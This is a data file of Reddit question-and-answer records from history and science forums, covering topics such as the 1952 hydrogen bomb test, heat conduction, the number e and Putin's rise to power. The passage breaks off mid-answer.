{"q_id": "4ky7ql", "title": "If the United States conducted its first nuclear test of the Hydrogen bomb on Nov. 1, 1952, why did President Harry S. Truman announce its development on January 7, 1953?", "selftext": "Did no one in the world notice a Hydrogen bomb going off at Eniwetok in the Marshall Islands?  No one at all?  How does something like that go unnoticed and why was there a delay in telling the public \"Hey we made this thing that blows shit up a while back, forgot to mention.\"\n\nI'm just a little confused on the entire matter.  Mostly the delay.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4ky7ql/if_the_united_states_conducted_its_first_nuclear/", "answers": {"a_id": ["d3ito31"], "score": [2], "text": ["The press knew about it almost as soon as the first device was detonated.  However, it should be emphasized that the Ivy Mike test was not of a deliverable weapon.  Alex Wellerstein (2012) has a footnoted discussion of documents related to this event on the [Nuclear Secrecy Blog](_URL_0_).  In short, Truman waited until after the election and (possibly) the construction of the first deliverable weapon to announce, but the press had been speculating for months."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://blog.nuclearsecrecy.com/2012/06/13/weekly-document-ivy-mike-leak-1952/"]]}
{"q_id": "p792r", "title": "What is the next likely leap forward in computing?", "selftext": "I have heard that computers are reaching their a physical constraint in how fast they go so what is are the potential technologies for the next big breakthrough?\n\nI am computer illiterate but have heard about quantum computers, and other potential technologies involving bioligical elements...\n\nHow far away are we from realising any of these technologies?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/p792r/what_is_the_next_likely_leap_forward_in_computing/", "answers": {"a_id": ["c3n2km9", "c3n2sua", "c3n3gzb", "c3n3n99", "c3n3uvx", "c3najhw"], "score": [6, 3, 3, 2, 2, 2], "text": ["Quantum computing is definitely advancing, but it's not near the point of matching a classical computer any time soon. There's quite a few hurdles to overcome before we can fully utilize the potential of quantum computing. For instance, Shor's algorithm is an algorithm that made quantum computing much more popular because it showed that it could solve certain problems much faster than classical computers. It factors a number. To date, the largest number ever factored by Shor's algorithm on a quantum computer is 15. That should give you a rough idea of the stage that quantum computing is at. It's still in its infancy, with new technologies and methods popping up and overtaking others. The increase in power we would obtain from it isn't an increase in the number of calculations that can be done per second, though. Its power comes from massive parallelism.  So, once we do have it, we won't be able to use standard classical algorithms and expect it to increase speed. It's going to be a while before we have the hardware needed, and it's going to take even longer for software algorithms that can truly take advantage of quantum computing are created.\n\nI'll refrain from commenting much on this subject, as I'm not knowledgeable enough on it to contribute meaningfully, but I would appreciate it if someone commented on the subject of graphene and its potential use in computing. ", "The physical constraints have more or less pretty much been encountered as you said.   \n\nNot that this is what you asked, but the nature of the problem is that the circuitry making up CPUs has gotten so small that the \"wires\" and \"rubber/insulator\" that consitute the circuit are each no thicker than a few nanometers.   At scales this small the strange world of quantum mechanics comes in and while quantum mechanics is not my field of expertise, a person once explained it to me as the following (though he might have been over-simplifying):  \nAtoms have various energy levels in which electrons are spinning around the nucleus.  These various energy levels are in turn at varying distances away from the nucleus.  Due to quantum mechanics there is no real \"transition\" between these distances.   Given enough energy, the electron in a lower energy level will simply hop the distance to the higher energy level without really travelling through the intermediate space.   As such, if the thickness of the \"wire\" is narrower than the distance of the energy levels, electrons can simply leap across the \"rubber/resistor\" resulting in current leakage completely negating the purpose of the circuit.\n\nCurrent efforts at improving computing besides big paradigm shifts like quantim or biologic computing include:\n1) Algorithm optimization - i.e. using our brains to instruct computers to do things much more efficiently, freeing up resources to allow the computer to do more with the same or less amount of circuitry\n2) Multiple Cores - basically shoving multiple computers into one device.  Again though, this relies on humans writing programs that lend themselves to parallel tasks.", "\"next likely leap\"\n\nMany many processor cores in a single chip.\n\nRecently 1 core was the only affordable option; and highly parallel chips were rather inflexible and could only do one thing well  (say, GPUs, or hardware video chips), or were extremely hard to program (DSPs with odd-sized registers and tricky memory management;  Playstation 3's Core processor).\n\nNow 4 core CPUs are cheap and 8 core CPUs are common; and GPUs capable of doing hundreds of operations in parallel are now becoming easier and easier to program each month as the tools improve.\n\nI think it's safe to say that the next leap will be very programmable massively parallel logic in a single chip.\n", "I'm an undergrad EE here, but I'll try my best to offer some enlightenment on where we're going to have to do in the near future.\n\nEssentially, a processor consists of billions of field-effect transistors (FET's) that act as on and off switches. Since a computer only speaks in binary, having two states is similar to the 1's and 0's of a binary computer language. \n\nCurrently, we use metal-oxide silicon as the base material for these transistors [(MOSFET's)](_URL_1_). However, at a transistor size of about 11 nm, this material no longer suffices due to something called electron tunneling because of the exceptionally small gate length of 1.2 nm. Currently, we're able to purchase 32 nm processors, with [22 nm](_URL_0_) coming this year, and then [14 nm](_URL_3_) much later. As you can see, 11 nm is very, very close to reality. \n\nSo what's the next advance for our beloved FET? [Graphene](_URL_4_) most likely.\n\nEdit: Here's a [link](_URL_2_) to the news article talking about graphene transistors.\n", "Depends what scope of time you are looking on.\n\nLong time leaps is probably, like most other have already stated, quantum computing, biological computing, new and unknown type of computing. \n\nMore short time improvements are probably more likely to be better and faster RAM, more bandwidth between components (CPU - >  GPU ;  CPU - >  RAM ; CPU - >  Harddisk), faster memory and so on.\nCurrently the fastest leaps are seen in the mobile hardware market. This comes from one simple factor, which is that most mobile hardware is SoC (System on a chip) based.\nBasically, manufacturing the whole computer as one single chip, many bottlenecks are avoided, making the chip much more efficient. \nMy best guess is that the biggest leaps in technology in the coming years will be the mobile technology.", "First I just want to note that Moore's law (which may soon be violated) only predicting the number of transistors you get.  What you do with the transistors is largely up to you.  CPUs are build around preforming complex calculations quickly, so they have a few core (4 or less) and a large cache.  GPUs on the other hand are built for parallel processing (preforming lots of simple calculations in parallel), so they have hundreds of cores and very little cache.  \n[Nvidia Explanation](_URL_4_)\n\nSo even if we stop being able to pack transistors as tightly there's still a lot of room for improvement in design itself.  I wouldn't worry about progress slowing to a halt anytime soon.  That said here's so \"breakthrough\" technology that we'll be seeing soon:\n**Improved Wireless Networks / High-speed Fiber to the Home**\n*Part 1 - Why*\nWhen electricity first made an appearance in the home there was a huge cost to install it because you had run all of the electric lines (digging up roads, putting up poles, etc).  When the world wide web was created it piggybacked on the existing phone (and later cable) system.  This system wasn't designed to support the amount of strain being put on it.  The new systems that will support future internet traffic are only now being deployed.  WiMax is a start but really we need to open the wireless spectrum (particularly the parts owned by old technology like TV and AM radio).  High speed fiber to the home is being tested / deployed.  Engineering is the study of tradeoffs and computer / software engineering is no different.  Every technology you use today deals with fundamental bandwidth issues.  There's always a bottleneck or limiting factor be it hard read/write speeds, network latency, or anything else.  As you increase network transmission speeds you open the door for all sorts of technologies to exist.  \n\n* [Jeff Bezos excellent TED talk about the future of the internet](_URL_5_)\n\n* [2003 US Spectrum Allocation Map](_URL_6_)\n\n*Part 2 - What*\nThe fundamental question becomes what can you do with all this bandwidth.  I was involved in a project in Cleveland to bring high speed fiber to the home.  In that case the network was very real and we were on the cutting edge of inventing the technologies to use with it.  Here's what we came up with: Smart homes, high quality media (significantly better than \"HDTV\"), realistic telecommuting (work from home), cloud computing.  Those are the things we *implemented*, the future technology will probably include things that we don't imagine are possible now.\n\n\n* [Article about The Beta Block\u2013 Hessler St project](_URL_1_)\n\n* [XKCD about HDTV](_URL_0_)\n\n**3D Printing**\nThe advances in 3D (I believe) will cause a tipping point within 15 years.  You can compare the point where we are now with the first people soldering together \u201chome computers\u201d, just before the ZX-81 hit the market. Nobody had any idea why they were making computers, if you'd ask, the answer would probably be \u201cbecause we can\u201d. With 3D print, we're at the same stage: we build machines because we can and because our machines can build machines, we replicate into even better machines. At a certain stage, demand will rise and end-users will suddenly appear out of nowhere.\n\n* [A video from a year ago showing a 3D Copier / Printer](_URL_3_)\n\n**Advances in Programming Techniques**\nA story about computer graphics:  The most popular method of computing per pixel lighting in computer graphics is complete BS.  It's a faux model created several years ago but momentum keeps it in use.  The one material that the lighting model does map well is plastics.  And that's why most 3D computer graphics look like plastic.  There are a bunch of examples like this through software.  As we find better methods for doing things you'll see an advance in technologies across the board.\n\n\n* [More information about Phong Lighting](_URL_2_)\n\n**Software Infrastructure**\nAlong with the above consider things like HTML5.  HTML5 is built on years of experience in web development.  Modern Javascript was modeled after Lisp just like C# is modeled after C++  which in turn is based on FORTRAN and C which was derived from B, etc, etc.  We are still moving up through levels of abstraction with language concepts and the growth is exponential.  It's the old, \"stood on the shoulders of giants\" argument. \n\nOther thigns I would look to:\n\n*  Immersive / Interactive Technologies like Natural Language processing and Projection / 3D imagery\n* Artificial Intelligence particularly neural networks and machine learning\n* Embedded Systems\n* Solid State Drives\n* Bio-medical Augmentations. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Intel_Ivy_Bridge", "http://en.wikipedia.org/wiki/Mosfet", "http://www.technologyreview.com/computing/24482/?a=f", "http://www.engadget.com/2011/02/19/intel-to-spend-5-billion-on-new-14nm-fab-in-arizona-creating-4/", "http://en.wikipedia.org/wiki/Graphene"], [], ["http://xkcd.com/732/", "http://www.cleveland.com/business/index.ssf/2010/03/case_western_reserve_universit.html", "http://en.wikipedia.org/wiki/Phong_shading", "http://www.youtube.com/watch?v=jQ-aWFYT_SU", "http://www.nvidia.com/object/GPU_Computing.html", "http://www.ted.com/talks/jeff_bezos_on_the_next_web_innovation.html", "http://www.ntia.doc.gov/files/ntia/publications/2003-allochrt.pdf"]]}
{"q_id": "4xlfi4", "title": "when a child or pet dies in the car from being exposed to heat for too long, how exactly does the being die, physiologically?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4xlfi4/eli5_when_a_child_or_pet_dies_in_the_car_from/", "answers": {"a_id": ["d6gers4", "d6ghol2"], "score": [4, 2], "text": ["Metabolic processes on the lowest levels work best at a particular temperature.  This is why we are warm-blooded - we automatically use energy to generate internal heat to keep our body at a temperature that is most efficient for operation.  This contrasts with cold-blooded animals which rely on external sources of heat, and either end up spending time and energy regulating their heat anyway (via sunning or fanning and so on) or end up consuming a lot more in order to make up for the inefficiency of not having the right temperature for efficient biological processes.\n\nIf the temperature gets too high, this causes problems for multiple reasons.  First, it's not nearly as efficient, which can cause major problems due to the imbalance of expected resource consumption to actual result.  Secondly, the body automatically tries to cool itself down, which can be problematic if it *can't*, such as when the blood vessels dilate in order to try to cool off and then constrict as the heart starts working harder due to the lowered blood pressure.   If the body can't lower its heat, organs can start to fail.  Dehydration often accompanies overheating as well, and that and the lowered blood pressure can lead to dizziness and and nausea.\n\nIt's basically just Bad News. ", "Usually it's a heart attack that ends up causing death. By that time, though, brain and kidney functions are probably also shutting down, so the person is probably unconscious or delerious when they go. Hopefully that means they're not registering pain."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1eyjgj", "title": "Are chemical reactions affected by the presence of a strong magnetic field?", "selftext": "This is based on my understanding that protons are aligned in a string magnetic field, and that for a reaction to take place all reactants must be in the correct orientation relative to one another.\n\nIf this is the case, then are there any physiological effects on a person if they are placed within a strong magnetic field, say an MRI machine, for extended periods of time? (minor or major)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1eyjgj/are_chemical_reactions_affected_by_the_presence/", "answers": {"a_id": ["ca5170x", "ca52d79", "ca52ybz"], "score": [2, 3, 26], "text": ["Although I can't answer your question fully, chemical reactions that involve free radicals are influenced by strong magnetic fields. free radical reactions in the presence of a magnetic field would propagate about 2/3 that of a reaction under nonmagnetic conditions. ", "IIRC if a reaction has 2 degenerate spin state intermediates then an external magnetic field can have an effect on the product ratios due to intersystem crossing.\nI might be very wrong though - it's been a few years.\n\nSee:\n_URL_0_", "You've got two things mixed up here. The alignment of protons in a magnetic field (which is observed e.g. in NMR/MRI), is not a spatial alignment in the classical sense, but the alignment of the *nuclear spin*, which is a quantum physical concept. Without going into detail, \"nuclear\" means that it is related to the nucleus of the atom, as opposed to the electons. As chemical reactions only concern the interaction of electrons, the orientation of the nuclear spin has no effect on chemical reactivity.\n\nThe correct orientation of reactants, which you mentioned, is about the *geometrical position* of atoms, i.e. the way molecules or functional groups are positioned relative to each other. Compare it to Lego building blocks which must be aligned to each other in order to fit. The nuclear spin has nothing to do with this.\n\nWhat free_boosie mentioned, is the interaction between a magnetic field and free radicals. Free radicals also have a spin, but in this case it is not the *nuclear* spin, but the *electron* spin which is important (and whose effects are much bigger than the nuclear spin AFAIK). However, addressing your last question, free radical reactions are very rare within the human body (if they exist at all), so I would not expect any significant physiological effects on the human body in a strong magnetic field.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://turroserver.chem.columbia.edu/PDF_db/publications_301_350/327.pdf"], []]}
{"q_id": "m98w6", "title": "What the hell just happened?", "selftext": "I got a deer park water delivery today, when i got home from work I saw them on my porch.  All of the 5 gallon bottles were frozen solid but one wasn't frozen at all.  Intrigued, I gave it a gentle kick and to my amazement I watched the whole thing freeze from top to bottom in about 3 seconds.  What went on that caused this to happen?  (I asked some of my friends and so far the going theory is that I am somehow Mr. Freeze from batman)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/m98w6/what_the_hell_just_happened/", "answers": {"a_id": ["c2z3s7j", "c2z3s7j"], "score": [36, 36], "text": ["[ supercooling](_URL_0_)\n\nWater can be cooled below its freezing point without freezing. When it gets disturbed it'll freeze.", "[ supercooling](_URL_0_)\n\nWater can be cooled below its freezing point without freezing. When it gets disturbed it'll freeze."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.m.wikipedia.org/wiki/Supercooling"], ["http://en.m.wikipedia.org/wiki/Supercooling"]]}
{"q_id": "21ah0v", "title": "the mythology behind the alien film franchise.", "selftext": "Specifically, this guy: _URL_0_ . \n\n", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/21ah0v/eli5_the_mythology_behind_the_alien_film_franchise/", "answers": {"a_id": ["cgb6981"], "score": [2], "text": ["Watch Prometheus. Don't expect to like it."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/gqcywWz"], "answers_urls": [[]]}
{"q_id": "31ojr8", "title": "\"the great filter\" theory and why is it scary", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/31ojr8/eli5_the_great_filter_theory_and_why_is_it_scary/", "answers": {"a_id": ["cq3h5ri", "cq3hb8o", "cq3si12", "cq4075i", "cq4o08f"], "score": [10, 46, 6, 2, 2], "text": ["There should be billions of civilizations out there right now. We haven't heard from any of them, so some underlying law of the universe means that all civilizations die out before they are technologically able to colonize space, and the probability that we'll survive to that point is infinitesimal.", "The Great Filter is an answer to something called the Fermi Paradox. The Fermi Paradox asks the following question: given that we, humans, exist, and that we have no particular reason to believe Earth or humanity is special, why haven't we heard from anyone in the cosmos yet?\n\nThe Great Filter theory says that one possible answer to this question is that there is some step (possibly more than one) in the process from \"bare lifeless planet\" to \"galaxy-faring civilization\" that must be very hard. If that step is behind us (that is, humanity passed it at some point in our evolution), that's good news: it means we're one of the first or one of the very few species that will reach our level of technology.\n\nOn the other hand, if the step is ahead of us, that's very bad. It means there is some danger, likely completely unknown to us, that can wipe us out in a way that is very difficult or impossible to avoid. It would mean that, for example, we should be *extremely* careful with certain kinds of scientific experimentation that we do not fully understand.\n\nThe reason it's scary is that, should we discover life elsewhere in our solar system, we can infer that all the steps before that point must be pretty easy. If we find, for instance, multicellular \"fish\" in the oceans of Saturn's moon Enceladus, we can reasonably infer that life arises and reaches multicellular forms pretty often. Otherwise, it would be very unlikely to have happened twice in the same solar system. That, then, would increase the probability that the Great Filter is ahead of us.", "what if there are millions of civilisations out there and they're all just waiting for us to grow up before they let us join their united civilisations of the universe ", "I will add that The Great Filter does not need to be extinction of the alien civilization.\n\nIt is possible that they turn inward and build themselves a Matrix to live in, or that their colonization is extremely limited and undetectable to us.\n\nIn other words there are other, more optimistic interpretations of the Fermi Paradox than instadeath upon reaching level 30.", "_URL_0_\n\nRead this article. It's long but incredibly worth it. It's one of the most mind blowing things I've read in the past 10 years, and it will answer all your questions. And more."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://waitbutwhy.com/2014/05/fermi-paradox.html"]]}
{"q_id": "2v1ovi", "title": "Why is it that so many things in science behave exponentially?", "selftext": "I understand how you arrive at \"e\", but I just find it CRAZY how everything just keeps coming back to this one value.  Is there any explanation for it?\n\nEdit: Yes, I get that things grow based off how much there exists at any point in time--I'm not talking about that. I'm talking about the constant \"e\", as in 2.718*.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2v1ovi/why_is_it_that_so_many_things_in_science_behave/", "answers": {"a_id": ["codr3ps", "codrk5c", "codrm44", "codru4s", "coeiryo"], "score": [19, 9, 3, 13, 2], "text": ["The way systems change at any point in time is often dependent on the state of the system at that point in time. The exponential function is a function that demonstrates that dependency. ", "If the rate of change of a quantity is proportional to the quantity itself, which is common, then that's an exponential. This is by definition, if you define the exponential function as that function whose derivative is itself.\n\nOscillations and waves also are represented as (complex) exponentials, and oscillations are everywhere.\n\nEDIT: Since it appears that OP's question is more about the numerical value of Euler's constant, I'll give it a go.\n\nIt's possible to not think of the exponential function as the number *e* to the x. The exponential is a function with properties that are useful, and instead of thinking of it as *e*^x, one can think of it as just a function exp(x). I previously explained why the function exp(x) appears everywhere. So I guess that OP's question is why is *e*^x = exp(x). Why is *e* that number that when taken to the power x has the properties of the exponential function? Well, it's just dumb luck! That's how things are. If you compute the Taylor series of exp(x), and plug in x=1, you get the numerical value *e*. Not 2.71, not 2.72, but *e*. It's got to be some number, right? It turns out to be this one. It's possible to show that this number *e* when taken to the power x has all the properties of this function exp(x).\n\nThat may not sound very satisfying, but there's no deep mystery about it (Euler's identity can make you doubt  that, for sure!) There are other ways to think about it, such as continuous compounding (explained by /u/laserjockey), but it's dumb luck that this number has all the good properties that we want.", "Lots of things change in a way that depends on how many or much there already is.  If the change is proportional to what is already there, you get exponential growth (or decay).  The easiest way to calculate exponential changes usually involves e.", "Other people seem to have covered why relationships of the form y = a^x appear often, but given the phrasing of your question, are you asking why e is used as the base instead of 2, or 5, or something else? If so, then that's actually just convention, because e is the simplest base to work with. In fact, a^x = e^(x ln a), so by tweaking constants in the exponent we can always put it in this form.", "I think that perhaps an answer to the question you are asking is that actually all exponential functions are basically the same. You are asking why these processes can all be expressed specifically in terms of e, but actually e^x is equal to k2^x for some k, or for any other value instead of 2. e is the most natural number to use, but the processes are actually expressible in any base."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3rhwuw", "title": "People always talk about heat conduction, what is the best conductive material for cold, or is the best conductor for heat the same for cold?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3rhwuw/people_always_talk_about_heat_conduction_what_is/", "answers": {"a_id": ["cwo7cvq", "cwo9tdc", "cwoainz", "cwob72x", "cwobm1a", "cwohu6t", "cwokd1z", "cwolwvr", "cwoq8rt", "cwou295", "cwova1z", "cwowrxh", "cwp631a", "cwp6ign", "cwp7o8d", "cwpa7gf"], "score": [2278, 8, 60, 6, 5, 4, 3, 2, 14, 2, 10, 2, 2, 2, 2, 2], "text": ["In Chemistry, we don't distinguish _cold_ as a unique phenomenon.  Rather, _cold_ is merely the absence of _heat_.\n\nThus, you are correct that the best conductor of heat would also be the best conductor of \"cold.\"  Think of it this way:\n\nSuppose you have a sophisticated detector of heat: your hand.  There are [demonstrations](_URL_0_) of folks putting a piece of [aerogel](_URL_1_), one of the best insulators in the world, in their hand, and exposing the other side to a blow torch! (Do not, for the love of God, try this at home).\n\nThis protects the person's hand so well because aerogel is a fantastic insulator, or rather a terrible conductor of heat.\n\nNow, if you wanted your hand to feel cold, which is the absence of heat, you'd need to move that heat away from your hand more rapidly than it is replaced from the air (or the sun, etc.).  One way to do this is to have something cold available as a heat sink - >  say, a block of ice.  Heat is drawn out of things warmer than the ice and dissipated in the phase transition as the ice melts.  Hence, if you put an ice cube in your hand, it feels cold because it's drawing heat from your hand.\n\nHowever, if you put a piece of aerogel between your hand and the ice cube, because that aerogel is such a poor conductor of heat, there's no way for heat to be efficiently drawn out of your hand and used to melt the ice.\n\nConversely, logic would tell you that you would never want to put a brick of copper in your hand and heat it with a blow torch!  The copper is an excellent conductor of heat, and thus would absorb the heat from the blow torch and rapidly transfer it to your hand, perhaps leaving you looking like [this fellow](_URL_2_).\n\nSimilarly, if you put ice on top of that copper, it would very effectively conduct heat away from your hand and into the ice, to melt it.  Thus, it too could be called an effective conductor of \"cold.\"  \n\nAs I said in the beginning, however, we don't really consider \"cold\" to be its own thing, so you should never see a \"cold conductor\" referenced in rigorous scientific literature.\n\nEdit: Rogue commas.", "In heat transfer, a material has a coefficient of conduction, k, which is the resistance of a material to transferring heat. \nBecause of this it doesn't matter if you are heating or cooling something, the material is just as conductive. \nWhat matters more for the rate of heat transfer is the change in temperature between the two sides. \n\nAlso, heat can only flow from high to low concentrations so if you are cooling something, you are forcing heat from the object being cooled into something else (air, water, another object, etc) ", "Heat is the movement of thermal energy from high-to-low concentration.\n\nCooling something down is essentially moving the thermal energy from the object to something cooler, so it is the same conceptually as heat, just from a different perspective.\n\nThey would be the same material.", "Thanks so much for all the info, cleared everything up. Im looking for a way to use dry ice as a way to power a small container (lets say beer cooler size). If some dry ice was to touch the end of a copper wire that was wrapped around the cooler, could it keep it cold?\n", "First of all heat can be conducted because it's energy, an event, called heat. cold is absence of heat and is NOT energy. So cold cannot be conducted. It can only be created by the normal thermodynamic diffusion of heat via many kinds of processes.\n\nThe best conductors of heat are gold, silver, and copper, commonly. diamond is a very good conductor of heat, as well, but is so expensive it can't often be used tho has been for specialty apps.\n\nGraphene appears to be a very good heat conductor and it's also interesting that many good electricity conductors are also good heat conductors.\n\nHTSC can also conduct heat away quickly, relatively. If we had a room temp. SC, it'd also be a likely very good heat conductor at ambient temps. One of these days it will likely be found, as Hazen in \"Breakthrough\" reported SuperConductivity being seen for brief times at room temps.\n\nThere IS a way of finding those (RTSC), but it's a proprietary commercial issue.  &  it's implicit in the materials mentioned above, very likely.", "Dude... Yet getting a bit philosophical....\n\n\nHeat and cold are actually the same thing. A material will always conduct heat and cold at the same rate because cold is simply the absence of heat. Conducting cold would just be conducting heat away from somewhere.", "I'm seeing a lot of misinformation when it comes to the definition of temperature. Temperature isn't defined just as \"how fast the particles in a system are moving.\" Luckily we DO have an actual scientific definition of temperature besides what our middle school science teachers taught us.\n\n1/(K*T) = d(ln w)/dE\n\nThat is, the reciprocal of boltzman's constant times temperature equals the derivative of the natural log of microstates with respect to energy. \n\nA microstate is defined as a specific configuration of a system. Think of flipping 100 coins. The configuration where the first 50 are heads and the second 50 are tails is a separate *microstate* from the configuration where the first 50 are tails and the second 50 are heads. As you can probably guess, these become very large combinatoric coefficients when we're talking about counting microstates. \n\nIf you prefer working with entropy and not counting microstates, we  can equivalently say that 1/T = (dS/dU) holding V and N constant. So the reciprocal of temperature is defined as the derivative of entropy with respect to energy and the same volume and number of particles. \n\nSo we see that temperature just isn't defined as \"how fast some particles are moving.\" However, there is the equipartition theorem which states that each quadradic degree of freedom adds an energy of k*T/2 to the average energy. So a particle that strictly can move translationally in three dimensions would have an average energy of 3K*T/2. \n\nHopefully I cleared some stuff up! ", "As an engineer, I like to imagine thermal energy as the vibration/collision of molecules and atoms. When said species has a high thermal energy, it translates that kinetic energy through collisions to adjacent species. As one species is colder, having less kinetic energy, there is a net gain in energy by the colder species and a loss by the warmer.\n\nThus, the flow of energy, or heat. The ability for a species to transfer its energy is scaled by the thermal conductivity, which I am at a loss for describing physically, but perhaps it has to do with how efficiently the atoms absorb energy through impact?\n\nAnyways, next time when you touch something hot, just think that it hurts because those atoms are smashing themselves against your atoms with such high energy that it's causing the atoms in your body to heat up and vibrate as well. \n\nedit: to answer your question, which I haven't as there was a perfect answer already, you can see why it wouldn't make a difference if the temperature scale were hot or cold as the mechanism for energy transfer is independent of that. It's all relative.", "Cold is the absence of heat. It isn't its own separate thing. So I guess you could say the the best heat conductor is also the best \"cold conductor\", but that phrase doesn't really make any sense. You wouldn't say \"speed of dark\", would you? Because dark is the absence of light. Same for cold and heat.", "When you cool something down with a cold object, it is the heat from the hot object transferring to the colder object. The higher the thermal conductivity the quicker the heat will transfer from the hot body to the cold body and vus the quicker the hot body cools down or  the quicker the hot thing is cooled down by the cold thing. That is why good heat conductors like metals often feel cold to the touch, and quite the opposite if left out on a sunny day. In a closed system the total amount of energy remains the same, the cold thing cooling down the hot thing is exactly the same process as the hot thing heating up the cold thing, they will do this until they reach equilibrium.", "Cold isn't technically a thing.  It's just a word used to describe the lack of heat.  If something is hot, it has a lot of heat energy.  If something is cold, it has little heat energy.  When you think about it, heat is just particles at the molecular level vibrating.  The more they're vibrating, the more heat energy it has, and vise versa.  At absolute zero, those particles aren't vibrating at all.\n\nHeat transfers from hotter to colder.  If you have two metal cubes, one that's hot, and the other that's cold, and set one on top of the other, assuming we ignore all other physics \nphenomenon, heat energy transfers from the hot cube to the cold cube until they both reach the same temperature.\n\nWhen you leave the door to your refrigerator open, it's not cold getting out, but rather, it's heat getting into your fridge.\n\nThat's why metal feels cold.  It's an excellent conductor of heat, so when you touch it, it wicks heat energy away from your finger.\n\nIt all makes sense when you start to think about what's going on at the molecular level.\n\n", "The best thermally conductive material is the stiffest substance on earth, diamond. The stiff lattice is able to move group velocities (phonons) through its structure quicker than any other material. Imagine transferring info from one end of a string to another by pulling on it (this is diamond), and now replace the string with a rubber band (this is any softer material).", "Well, its been said. But coldness doesn't  exist. It's not a thing. It's just an absence of heat. This idea can be applied to a lot of things (darkness, which is just an absence of light, dryness, absence of humidity, etc) \n\nSo basically whenever something conducts heat *into* it well, it can also conduct heat *out of* it well too. Conducting heat outwards is basically the same idea as conducting cold.", "Former Low temperature physicist here.  Yes in some sense we talk about pumping \"cold \"  around around our cryostat.  If you go look up something called a dilution refrigerator or a nuclear demag refrigerator ,  you'll see its made almost entirely out of silver,  gold and very high purity copper with plastic bits strategically placed here and there. In fact this copper is not just high purity  but also something called high RRR (Residual resistivity rstio) which means it has been annealed to have very large crystals.  Essentially at low temperatures,  the dominant scattering mechanism becomes impurities and crystal dislocations. To build a mK cryostat you need material with a RRR of at least  couple of hundred,  ideally 1000+ for sub mK work .  For   reference high quality audiophile cable copper has an RRR of about 10. ", "--First of all conduction is ability of materials atom to pass on their energy and stay calm.\n--When you Heat a conductive material, atoms inside it gains energy and pass it to the next atom. That's how heat conduction happens. Atoms with more energy pass the energy to the atoms who have less energy.\n--When you are cooling an already heated material, atoms repeat the same process, they pass energy to the heat sink and the material gets cool.  \n--So a material which is good heat conductor is also a good cold conductor.\n\n\n", "Cold is the lack of heat. What we feel as cold is just something with less heat than our bodies.\n\nA conductor that is good at conducting heat through it from hot stove to cold food for example, is at the same time equally good at conducting cold from cold food to hot stove. The reason the stove doesn't end up the same temperature as the food is because the stove is constantly generating heat."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=p2JjhF_qZlc", "https://en.wikipedia.org/wiki/Aerogel", "http://img.gawkerassets.com/img/17gcdz5639pwfjpg/original.jpg"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "eimcjx", "title": "On Jan 1 2000 many of us were surprised by the announcement that Boris Yeltsin was stepping down to be replaced by this \"Putin\" fellow. Should we have seen this coming? Any good reads on how the \"transition\" occurred?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/eimcjx/on_jan_1_2000_many_of_us_were_surprised_by_the/", "answers": {"a_id": ["fct6368"], "score": [257], "text": ["It was a bit of a shock for Yeltsin to announce his resignation when he did, but it was not totally unexpected. While he was seen (in the West at least) as the one who helped bring down the Soviet Union, he had had a troubled presidency and was quite unpopular domestically by this point. Arguably the cause of this was the ill-fated decision to launch the Second Chechen War in August 1999, which was meant to resolve the issues the First War (which had nominally ended in 1996) had left behind. Notably the newly-named prime minister, Vladimir Putin, was given control of the war, and oversaw its operations. But to get to this point I'll quickly go over how Putin became prime minister, and subsequently was named president.\n\nPutin was a KGB officer, who spent several years in Dresden, East Germany, and was there the night the Berlin Wall fell in 1989. This has been cited, by Putin himself and by those who have written about him, as having a major impact on his life: he's noted that there were crowds of Germans outside their offices and when he made a call to a superior on how to deal with it, was pretty much told they were on their own. This breakdown of authority has thus been cited as a major event in Putin's life.\n\nHe returned to Leningrad in 1990 (which was to shortly go back to its original name, Saint Petersburg), and ended up in the office of the mayor, Anatoli Sobchak. Putin served as an adviser on international trade, and developed a close relationship with Sobchak, which likely helped him keep his position (there are reports of questionable conduct by Putin in this time, but being Russia in the early 1990s, that was to be expected).\n\nSobchak lost his seat in 1996 so Putin moved to Moscow, and took up a role within the federal government. From there he quickly moved up the ranks, and by 1998 was the head of the Federal Security Service (known by its Russian acronym, FSB), the successor to the KGB. From there he became acting Prime Minister in August 1999; while this seems like a big step, note that at this time Yeltsin was going through prime ministers in a crazy fast manner: Putin was the fourth person to hold the title in 16 months. But Putin managed to hold on, and was the one left when Yeltsin finally resigned.\n\nRegarding Yeltsin, he had not had a great presidency. The first democratically elected leader in Russian history, he did not have the support of the Duma (Russian parliament), and famously shelled the parliamentary building in 1993 after they refused to follow his orders (he had initially been given expanded powers to help transition Russia into a market economy). Subsequent elections in 1995 saw the Communist Party win a huge plurality of seats, and with the continued economic woes (the 1997 economic crisis badly damaged the Russian economy), Yeltsin lost any popular support. Factoring in his decision to launch the wars with Chechnya, and it is not surprising that he eventually resigned.\n\nRegarding some literature, I really found *The New Tsar: The Rise and Reign of Vladimir Putin* (2015) by Steven Lee Myers to be balanced, informative, and thorough. He covers the life of Putin, as well as the 1990s political and economic situation in Russia, while largely keeping to facts and not giving opinion (which some other books on the topic do). It would be a good start to getting more in depth on the 